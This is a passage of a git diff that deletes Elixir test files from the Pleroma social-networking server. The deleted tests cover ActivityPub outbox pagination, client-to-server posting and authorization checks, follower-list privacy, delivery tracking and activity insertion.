assign(:user, user) - |> get("/users/#{user.nickname}/inbox") - - assert json_response(ret_conn, 200) - end - end - - describe "GET /users/:nickname/outbox" do - test "it paginates correctly", %{conn: conn} do - user = insert(:user) - conn = assign(conn, :user, user) - outbox_endpoint = user.ap_id <> "/outbox" - - _posts = - for i <- 0..25 do - {:ok, activity} = CommonAPI.post(user, %{status: "post #{i}"}) - activity - end - - result = - conn - |> put_req_header("accept", "application/activity+json") - |> get(outbox_endpoint <> "?page=true") - |> json_response(200) - - result_ids = Enum.map(result["orderedItems"], fn x -> x["id"] end) - assert length(result["orderedItems"]) == 20 - assert length(result_ids) == 20 - assert result["next"] - assert String.starts_with?(result["next"], outbox_endpoint) - - result_next = - conn - |> put_req_header("accept", "application/activity+json") - |> get(result["next"]) - |> json_response(200) - - result_next_ids = Enum.map(result_next["orderedItems"], fn x -> x["id"] end) - assert length(result_next["orderedItems"]) == 6 - assert length(result_next_ids) == 6 - refute Enum.find(result_next_ids, fn x -> x in result_ids end) - refute Enum.find(result_ids, fn x -> x in result_next_ids end) - assert String.starts_with?(result["id"], outbox_endpoint) - - result_next_again = - conn - |> put_req_header("accept", "application/activity+json") - |> get(result_next["id"]) - |> json_response(200) - - assert result_next == result_next_again - end - - test "it returns 200 even if there're no activities", %{conn: conn} do - user = insert(:user) - outbox_endpoint = user.ap_id <> "/outbox" - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get(outbox_endpoint) - - result = json_response(conn, 200) - assert outbox_endpoint == result["id"] - end - - test "it returns a note activity in a collection", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox?page=true") - - assert response(conn, 200) =~ note_object.data["content"] - end - - test "it returns an announce activity in a collection", %{conn: conn} do - announce_activity = insert(:announce_activity) - user = User.get_cached_by_ap_id(announce_activity.data["actor"]) - - conn = - conn - |> assign(:user, user) - |> put_req_header("accept", "application/activity+json") - |> get("/users/#{user.nickname}/outbox?page=true") - - assert response(conn, 200) =~ announce_activity.data["object"] - end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}/outbox", user) - end - end - - describe "POST /users/:nickname/outbox (C2S)" do - setup do: clear_config([:instance, :limit]) - - setup do - [ - activity: %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "object" => %{"type" => "Note", "content" => "AP C2S test"}, - "to" => "https://www.w3.org/ns/activitystreams#Public", - "cc" => [] - } - ] - end - - test "it rejects posts from other users / unauthenticated users", %{ - conn: conn, - activity: activity - } do - user = insert(:user) - other_user = insert(:user) - conn = put_req_header(conn, "content-type", "application/activity+json") - - conn - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(403) - - conn - |> assign(:user, other_user) - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(403) - end - - test "it inserts an incoming create activity into the database", %{ - conn: conn, - activity: activity - } do - user = insert(:user) - - result = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(201) - - assert Activity.get_by_ap_id(result["id"]) - assert result["object"] - assert %Object{data: object} = Object.normalize(result["object"]) - assert object["content"] == activity["object"]["content"] - end - - test "it rejects anything beyond 'Note' creations", %{conn: conn, activity: activity} do - user = insert(:user) - - activity = - activity - |> put_in(["object", "type"], "Benis") - - _result = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(400) - end - - test "it inserts an incoming sensitive activity into the database", %{ - conn: conn, - activity: activity - } do - user = insert(:user) - conn = assign(conn, :user, user) - object = Map.put(activity["object"], "sensitive", true) - activity = Map.put(activity, "object", object) - - response = - conn - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(201) - - assert Activity.get_by_ap_id(response["id"]) - assert response["object"] - assert %Object{data: response_object} = Object.normalize(response["object"]) - assert response_object["sensitive"] == true - assert response_object["content"] == activity["object"]["content"] - - representation = - conn - |> put_req_header("accept", "application/activity+json") - |> get(response["id"]) - |> json_response(200) - - assert representation["object"]["sensitive"] == true - end - - test "it rejects an incoming activity with bogus type", %{conn: conn, activity: activity} do - user = insert(:user) - activity = Map.put(activity, "type", "BadType") - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - - assert json_response(conn, 400) - end - - test "it erects a tombstone when receiving a delete activity", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - data = %{ - type: "Delete", - object: %{ - id: note_object.data["id"] - } - } - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", data) - - result = json_response(conn, 201) - assert Activity.get_by_ap_id(result["id"]) - - assert object = Object.get_by_ap_id(note_object.data["id"]) - assert object.data["type"] == "Tombstone" - end - - test "it rejects delete activity of object from other actor", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = insert(:user) - - data = %{ - type: "Delete", - object: %{ - id: note_object.data["id"] - } - } - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", data) - - assert json_response(conn, 400) - end - - test "it increases like count when receiving a like action", %{conn: conn} do - note_activity = insert(:note_activity) - note_object = Object.normalize(note_activity) - user = User.get_cached_by_ap_id(note_activity.data["actor"]) - - data = %{ - type: "Like", - object: %{ - id: note_object.data["id"] - } - } - - conn = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", data) - - result = json_response(conn, 201) - assert Activity.get_by_ap_id(result["id"]) - - assert object = Object.get_by_ap_id(note_object.data["id"]) - assert object.data["like_count"] == 1 - end - - test "it doesn't spreads faulty attributedTo or actor fields", %{ - conn: conn, - activity: activity - } do - reimu = insert(:user, nickname: "reimu") - cirno = insert(:user, nickname: "cirno") - - assert reimu.ap_id - assert cirno.ap_id - - activity = - activity - |> put_in(["object", "actor"], reimu.ap_id) - |> put_in(["object", "attributedTo"], reimu.ap_id) - |> put_in(["actor"], reimu.ap_id) - |> put_in(["attributedTo"], reimu.ap_id) - - _reimu_outbox = - conn - |> assign(:user, cirno) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{reimu.nickname}/outbox", activity) - |> json_response(403) - - cirno_outbox = - conn - |> assign(:user, cirno) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{cirno.nickname}/outbox", activity) - |> json_response(201) - - assert cirno_outbox["attributedTo"] == nil - assert cirno_outbox["actor"] == cirno.ap_id - - assert cirno_object = Object.normalize(cirno_outbox["object"]) - assert cirno_object.data["actor"] == cirno.ap_id - assert cirno_object.data["attributedTo"] == cirno.ap_id - end - - test "Character limitation", %{conn: conn, activity: activity} do - Pleroma.Config.put([:instance, :limit], 5) - user = insert(:user) - - result = - conn - |> assign(:user, user) - |> put_req_header("content-type", "application/activity+json") - |> post("/users/#{user.nickname}/outbox", activity) - |> json_response(400) - - assert result == "Note is over the character limit" - end - end - - describe "/relay/followers" do - test "it returns relay followers", %{conn: conn} do - relay_actor = Relay.get_actor() - user = insert(:user) - User.follow(user, relay_actor) - - result = - conn - |> get("/relay/followers") - |> json_response(200) - - assert result["first"]["orderedItems"] == [user.ap_id] - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get("/relay/followers") - |> json_response(404) - end - end - - describe "/relay/following" do - test "it returns relay following", %{conn: conn} do - result = - conn - |> get("/relay/following") - |> json_response(200) - - assert result["first"]["orderedItems"] == [] - end - - test "on non-federating instance, it returns 404", %{conn: conn} do - Config.put([:instance, :federating], false) - user = insert(:user) - - conn - |> assign(:user, user) - |> get("/relay/following") - |> json_response(404) - end - end - - describe "/users/:nickname/followers" do - test "it returns the followers in a collection", %{conn: conn} do - user = insert(:user) - user_two = insert(:user) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user_two) - |> get("/users/#{user_two.nickname}/followers") - |> json_response(200) - - assert result["first"]["orderedItems"] == [user.ap_id] - end - - test "it returns a uri if the user has 'hide_followers' set", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, hide_followers: true) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user_two.nickname}/followers") - |> json_response(200) - - assert is_binary(result["first"]) - end - - test "it returns a 403 error on pages, if the user has 'hide_followers' set and the request is from another user", - %{conn: conn} do - user = insert(:user) - other_user = insert(:user, hide_followers: true) - - result = - conn - |> assign(:user, user) - |> get("/users/#{other_user.nickname}/followers?page=1") - - assert result.status == 403 - assert result.resp_body == "" - end - - test "it renders the page, if the user has 'hide_followers' set and the request is authenticated with the same user", - %{conn: conn} do - user = insert(:user, hide_followers: true) - other_user = insert(:user) - {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/followers?page=1") - |> json_response(200) - - assert result["totalItems"] == 1 - assert result["orderedItems"] == [other_user.ap_id] - end - - test "it works for more than 10 users", %{conn: conn} do - user = insert(:user) - - Enum.each(1..15, fn _ -> - other_user = insert(:user) - User.follow(other_user, user) - end) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/followers") - |> json_response(200) - - assert length(result["first"]["orderedItems"]) == 10 - assert result["first"]["totalItems"] == 15 - assert result["totalItems"] == 15 - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/followers?page=2") - |> json_response(200) - - assert length(result["orderedItems"]) == 5 - assert result["totalItems"] == 15 - end - - test "does not require authentication", %{conn: conn} do - user = insert(:user) - - conn - |> get("/users/#{user.nickname}/followers") - |> json_response(200) - end - end - - describe "/users/:nickname/following" do - test "it returns the following in a collection", %{conn: conn} do - user = insert(:user) - user_two = insert(:user) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following") - |> json_response(200) - - assert result["first"]["orderedItems"] == [user_two.ap_id] - end - - test "it returns a uri if the user has 'hide_follows' set", %{conn: conn} do - user = insert(:user) - user_two = insert(:user, hide_follows: true) - User.follow(user, user_two) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user_two.nickname}/following") - |> json_response(200) - - assert is_binary(result["first"]) - end - - test "it returns a 403 error on pages, if the user has 'hide_follows' set and the request is from another user", - %{conn: conn} do - user = insert(:user) - user_two = insert(:user, hide_follows: true) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user_two.nickname}/following?page=1") - - assert result.status == 403 - assert result.resp_body == "" - end - - test "it renders the page, if the user has 'hide_follows' set and the request is authenticated with the same user", - %{conn: conn} do - user = insert(:user, hide_follows: true) - other_user = insert(:user) - {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following?page=1") - |> json_response(200) - - assert result["totalItems"] == 1 - assert result["orderedItems"] == [other_user.ap_id] - end - - test "it works for more than 10 users", %{conn: conn} do - user = insert(:user) - - Enum.each(1..15, fn _ -> - user = User.get_cached_by_id(user.id) - other_user = insert(:user) - User.follow(user, other_user) - end) - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following") - |> json_response(200) - - assert length(result["first"]["orderedItems"]) == 10 - assert result["first"]["totalItems"] == 15 - assert result["totalItems"] == 15 - - result = - conn - |> assign(:user, user) - |> get("/users/#{user.nickname}/following?page=2") - |> json_response(200) - - assert length(result["orderedItems"]) == 5 - assert result["totalItems"] == 15 - end - - test "does not require authentication", %{conn: conn} do - user = insert(:user) - - conn - |> get("/users/#{user.nickname}/following") - |> json_response(200) - end - end - - describe "delivery tracking" do - test "it tracks a signed object fetch", %{conn: conn} do - user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") - |> assign(:user, user) - |> get(object_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - end - - test "it tracks a signed activity fetch", %{conn: conn} do - user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") - |> assign(:user, user) - |> get(activity_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - end - - test "it tracks a signed object fetch when the json is cached", %{conn: conn} do - user = insert(:user, local: false) - other_user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") - |> assign(:user, user) - |> get(object_path) - |> json_response(200) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, other_user) - |> get(object_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - assert Delivery.get(object.id, other_user.id) - end - - test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do - user = insert(:user, local: false) - other_user = insert(:user, local: false) - activity = insert(:note_activity) - object = Object.normalize(activity) - - activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) - - conn - |> put_req_header("accept", "application/activity+json") - |> assign(:user, user) - |> get(activity_path) - |> json_response(200) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, other_user) - |> get(activity_path) - |> json_response(200) - - assert Delivery.get(object.id, user.id) - assert Delivery.get(object.id, other_user.id) - end - end - - describe "Additional ActivityPub C2S endpoints" do - test "GET /api/ap/whoami", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - |> get("/api/ap/whoami") - - user = User.get_cached_by_id(user.id) - - assert UserView.render("user.json", %{user: user}) == json_response(conn, 200) - - conn - |> get("/api/ap/whoami") - |> json_response(403) - end - - setup do: clear_config([:media_proxy]) - setup do: clear_config([Pleroma.Upload]) - - test "POST /api/ap/upload_media", %{conn: conn} do - user = insert(:user) - - desc = "Description of the image" - - image = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - object = - conn - |> assign(:user, user) - |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) - |> json_response(:created) - - assert object["name"] == desc - assert object["type"] == "Document" - assert object["actor"] == user.ap_id - assert [%{"href" => object_href, "mediaType" => object_mediatype}] = object["url"] - assert is_binary(object_href) - assert object_mediatype == "image/jpeg" - - activity_request = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "AP C2S test, attachment", - "attachment" => [object] - }, - "to" => "https://www.w3.org/ns/activitystreams#Public", - "cc" => [] - } - - activity_response = - conn - |> assign(:user, user) - |> post("/users/#{user.nickname}/outbox", activity_request) - |> json_response(:created) - - assert activity_response["id"] - assert activity_response["object"] - assert activity_response["actor"] == user.ap_id - - assert %Object{data: %{"attachment" => [attachment]}} = - Object.normalize(activity_response["object"]) - - assert attachment["type"] == "Document" - assert attachment["name"] == desc - - assert [ - %{ - "href" => ^object_href, - "type" => "Link", - "mediaType" => ^object_mediatype - } - ] = attachment["url"] - - # Fails if unauthenticated - conn - |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) - |> json_response(403) - end - end -end diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs deleted file mode 100644 index 804305a13..000000000 --- a/test/web/activity_pub/activity_pub_test.exs +++ /dev/null @@ -1,2260 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ActivityPubTest do - use Pleroma.DataCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Activity - alias Pleroma.Builders.ActivityBuilder - alias Pleroma.Config - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Utils - alias Pleroma.Web.AdminAPI.AccountView - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Mock - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance, :federating]) - - describe "streaming out participations" do - test "it streams them out" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, conversation} = Pleroma.Conversation.create_or_bump_for(activity) - - participations = - conversation.participations - |> Repo.preload(:user) - - with_mock Pleroma.Web.Streamer, - stream: fn _, _ -> nil end do - ActivityPub.stream_out_participations(conversation.participations) - - assert called(Pleroma.Web.Streamer.stream("participation", participations)) - end - end - - test "streams them out on activity creation" do - user_one = insert(:user) - user_two = insert(:user) - - with_mock Pleroma.Web.Streamer, - stream: fn _, _ -> nil end do - {:ok, activity} = - CommonAPI.post(user_one, %{ - status: "@#{user_two.nickname}", - visibility: "direct" - }) - - conversation = - activity.data["context"] - |> Pleroma.Conversation.get_for_ap_id() - |> Repo.preload(participations: :user) - - assert called(Pleroma.Web.Streamer.stream("participation", conversation.participations)) - end - end - end - - describe "fetching restricted by visibility" do - test "it restricts by the appropriate visibility" do - user = insert(:user) - - {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - - activities = ActivityPub.fetch_activities([], %{visibility: "direct", actor_id: user.ap_id}) - - assert activities == [direct_activity] - - activities = - ActivityPub.fetch_activities([], %{visibility: "unlisted", actor_id: user.ap_id}) - - assert activities == [unlisted_activity] - - activities = - ActivityPub.fetch_activities([], %{visibility: "private", actor_id: user.ap_id}) - - assert activities == [private_activity] - - activities = ActivityPub.fetch_activities([], %{visibility: "public", actor_id: user.ap_id}) - - assert activities == [public_activity] - - activities = - ActivityPub.fetch_activities([], %{ - visibility: ~w[private public], - actor_id: user.ap_id - }) - - assert activities == [public_activity, private_activity] - end - end - - describe "fetching excluded by visibility" do - test "it excludes by the appropriate visibility" do - user = insert(:user) - - {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) - - {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) - - {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "direct", - actor_id: user.ap_id - }) - - assert public_activity in activities - assert unlisted_activity in activities - assert private_activity in activities - refute direct_activity in activities - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "unlisted", - actor_id: user.ap_id - }) - - assert public_activity in activities - refute unlisted_activity in activities - assert private_activity in activities - assert direct_activity in activities - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "private", - actor_id: user.ap_id - }) - - assert public_activity in activities - assert unlisted_activity in activities - refute private_activity in activities - assert direct_activity in activities - - activities = - ActivityPub.fetch_activities([], %{ - exclude_visibilities: "public", - actor_id: user.ap_id - }) - - refute public_activity in activities - assert unlisted_activity in activities - assert private_activity in activities - assert direct_activity in activities - end - end - - describe "building a user from his ap id" do - test "it returns a user" do - user_id = "http://mastodon.example.org/users/admin" - {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) - assert user.ap_id == user_id - assert user.nickname == "admin@mastodon.example.org" - assert user.ap_enabled - assert user.follower_address == "http://mastodon.example.org/users/admin/followers" - end - - test "it returns a user that is invisible" do - user_id = "http://mastodon.example.org/users/relay" - {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) - assert User.invisible?(user) - end - - test "it returns a user that accepts chat messages" do - user_id = "http://mastodon.example.org/users/admin" - {:ok, user} = ActivityPub.make_user_from_ap_id(user_id) - - assert user.accepts_chat_messages - end - end - - test "it fetches the appropriate tag-restricted posts" do - user = insert(:user) - - {:ok, status_one} = CommonAPI.post(user, %{status: ". #test"}) - {:ok, status_two} = CommonAPI.post(user, %{status: ". #essais"}) - {:ok, status_three} = CommonAPI.post(user, %{status: ". #test #reject"}) - - fetch_one = ActivityPub.fetch_activities([], %{type: "Create", tag: "test"}) - - fetch_two = ActivityPub.fetch_activities([], %{type: "Create", tag: ["test", "essais"]}) - - fetch_three = - ActivityPub.fetch_activities([], %{ - type: "Create", - tag: ["test", "essais"], - tag_reject: ["reject"] - }) - - fetch_four = - ActivityPub.fetch_activities([], %{ - type: "Create", - tag: ["test"], - tag_all: ["test", "reject"] - }) - - assert fetch_one == [status_one, status_three] - assert fetch_two == [status_one, status_two, status_three] - assert fetch_three == [status_one, status_two] - assert fetch_four == [status_three] - end - - describe "insertion" do - test "drops activities beyond a certain limit" do - limit = Config.get([:instance, :remote_limit]) - - random_text = - :crypto.strong_rand_bytes(limit + 1) - |> Base.encode64() - |> binary_part(0, limit + 1) - - data = %{ - "ok" => true, - "object" => %{ - "content" => random_text - } - } - - assert {:error, :remote_limit} = ActivityPub.insert(data) - end - - test "doesn't drop activities with content being null" do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => nil - } - } - - assert {:ok, _} = ActivityPub.insert(data) - end - - test "returns the activity if one with the same id is already in" do - activity = insert(:note_activity) - {:ok, new_activity} = ActivityPub.insert(activity.data) - - assert activity.id == new_activity.id - end - - test "inserts a given map into the activity database, giving it an id if it has none." do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - assert activity.data["ok"] == data["ok"] - assert is_binary(activity.data["id"]) - - given_id = "bla" - - data = %{ - "id" => given_id, - "actor" => user.ap_id, - "to" => [], - "context" => "blabla", - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - assert activity.data["ok"] == data["ok"] - assert activity.data["id"] == given_id - assert activity.data["context"] == "blabla" - assert activity.data["context_id"] - end - - test "adds a context when none is there" do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - object = Pleroma.Object.normalize(activity) - - assert is_binary(activity.data["context"]) - assert is_binary(object.data["context"]) - assert activity.data["context_id"] - assert object.data["context_id"] - end - - test "adds an id to a given object if it lacks one and is a note and inserts it to the object database" do - user = insert(:user) - - data = %{ - "actor" => user.ap_id, - "to" => [], - "object" => %{ - "actor" => user.ap_id, - "to" => [], - "type" => "Note", - "content" => "hey" - } - } - - {:ok, %Activity{} = activity} = ActivityPub.insert(data) - assert object = Object.normalize(activity) - assert is_binary(object.data["id"]) - end - end - - describe "listen activities" do - test "does not increase user note count" do - user = insert(:user) - - {:ok, activity} = - ActivityPub.listen(%{ - to: ["https://www.w3.org/ns/activitystreams#Public"], - actor: user, - context: "", - object: %{ - "actor" => user.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "artist" => "lain", - "title" => "lain radio episode 1", - "length" => 180_000, - "type" => "Audio" - } - }) - - assert activity.actor == user.ap_id - - user = User.get_cached_by_id(user.id) - assert user.note_count == 0 - end - - test "can be fetched into a timeline" do - _listen_activity_1 = insert(:listen) - _listen_activity_2 = insert(:listen) - _listen_activity_3 = insert(:listen) - - timeline = ActivityPub.fetch_activities([], %{type: ["Listen"]}) - - assert length(timeline) == 3 - end - end - - describe "create activities" do - setup do - [user: insert(:user)] - end - - test "it reverts create", %{user: user} do - with_mock(Utils, [:passthrough], maybe_federate: fn _ -> {:error, :reverted} end) do - assert {:error, :reverted} = - ActivityPub.create(%{ - to: ["user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user2"], - "type" => "Note", - "content" => "testing" - } - }) - end - - assert Repo.aggregate(Activity, :count, :id) == 0 - assert Repo.aggregate(Object, :count, :id) == 0 - end - - test "creates activity if expiration is not configured and expires_at is not passed", %{ - user: user - } do - clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) - - assert {:ok, _} = - ActivityPub.create(%{ - to: ["user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user2"], - "type" => "Note", - "content" => "testing" - } - }) - end - - test "rejects activity if expires_at present but expiration is not configured", %{user: user} do - clear_config([Pleroma.Workers.PurgeExpiredActivity, :enabled], false) - - assert {:error, :expired_activities_disabled} = - ActivityPub.create(%{ - to: ["user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user2"], - "type" => "Note", - "content" => "testing" - }, - additional: %{ - "expires_at" => DateTime.utc_now() - } - }) - - assert Repo.aggregate(Activity, :count, :id) == 0 - assert Repo.aggregate(Object, :count, :id) == 0 - end - - test "removes doubled 'to' recipients", %{user: user} do - {:ok, activity} = - ActivityPub.create(%{ - to: ["user1", "user1", "user2"], - actor: user, - context: "", - object: %{ - "to" => ["user1", "user1", "user2"], - "type" => "Note", - "content" => "testing" - } - }) - - assert activity.data["to"] == ["user1", "user2"] - assert activity.actor == user.ap_id - assert activity.recipients == ["user1", "user2", user.ap_id] - end - - test "increases user note count only for public activities", %{user: user} do - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "1", - visibility: "public" - }) - - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "2", - visibility: "unlisted" - }) - - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "2", - visibility: "private" - }) - - {:ok, _} = - CommonAPI.post(User.get_cached_by_id(user.id), %{ - status: "3", - visibility: "direct" - }) - - user = User.get_cached_by_id(user.id) - assert user.note_count == 2 - end - - test "increases replies count", %{user: user} do - user2 = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "1", visibility: "public"}) - ap_id = activity.data["id"] - reply_data = %{status: "1", in_reply_to_status_id: activity.id} - - # public - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "public")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 1 - - # unlisted - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "unlisted")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 2 - - # private - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "private")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 2 - - # direct - {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "direct")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) - assert object.data["repliesCount"] == 2 - end - end - - describe "fetch activities for recipients" do - test "retrieve the activities for certain recipients" do - {:ok, activity_one} = ActivityBuilder.insert(%{"to" => ["someone"]}) - {:ok, activity_two} = ActivityBuilder.insert(%{"to" => ["someone_else"]}) - {:ok, _activity_three} = ActivityBuilder.insert(%{"to" => ["noone"]}) - - activities = ActivityPub.fetch_activities(["someone", "someone_else"]) - assert length(activities) == 2 - assert activities == [activity_one, activity_two] - end - end - - describe "fetch activities in context" do - test "retrieves activities that have a given context" do - {:ok, activity} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) - {:ok, activity_two} = ActivityBuilder.insert(%{"type" => "Create", "context" => "2hu"}) - {:ok, _activity_three} = ActivityBuilder.insert(%{"type" => "Create", "context" => "3hu"}) - {:ok, _activity_four} = ActivityBuilder.insert(%{"type" => "Announce", "context" => "2hu"}) - activity_five = insert(:note_activity) - user = insert(:user) - - {:ok, _user_relationship} = User.block(user, %{ap_id: activity_five.data["actor"]}) - - activities = ActivityPub.fetch_activities_for_context("2hu", %{blocking_user: user}) - assert activities == [activity_two, activity] - end - - test "doesn't return activities with filtered words" do - user = insert(:user) - user_two = insert(:user) - insert(:filter, user: user, phrase: "test", hide: true) - - {:ok, %{id: id1, data: %{"context" => context}}} = CommonAPI.post(user, %{status: "1"}) - - {:ok, %{id: id2}} = CommonAPI.post(user_two, %{status: "2", in_reply_to_status_id: id1}) - - {:ok, %{id: id3} = user_activity} = - CommonAPI.post(user, %{status: "3 test?", in_reply_to_status_id: id2}) - - {:ok, %{id: id4} = filtered_activity} = - CommonAPI.post(user_two, %{status: "4 test!", in_reply_to_status_id: id3}) - - {:ok, _} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) - - activities = - context - |> ActivityPub.fetch_activities_for_context(%{user: user}) - |> Enum.map(& &1.id) - - assert length(activities) == 4 - assert user_activity.id in activities - refute filtered_activity.id in activities - end - end - - test "doesn't return blocked activities" do - activity_one = insert(:note_activity) - activity_two = insert(:note_activity) - activity_three = insert(:note_activity) - user = insert(:user) - booster = insert(:user) - {:ok, _user_relationship} = User.block(user, %{ap_id: activity_one.data["actor"]}) - 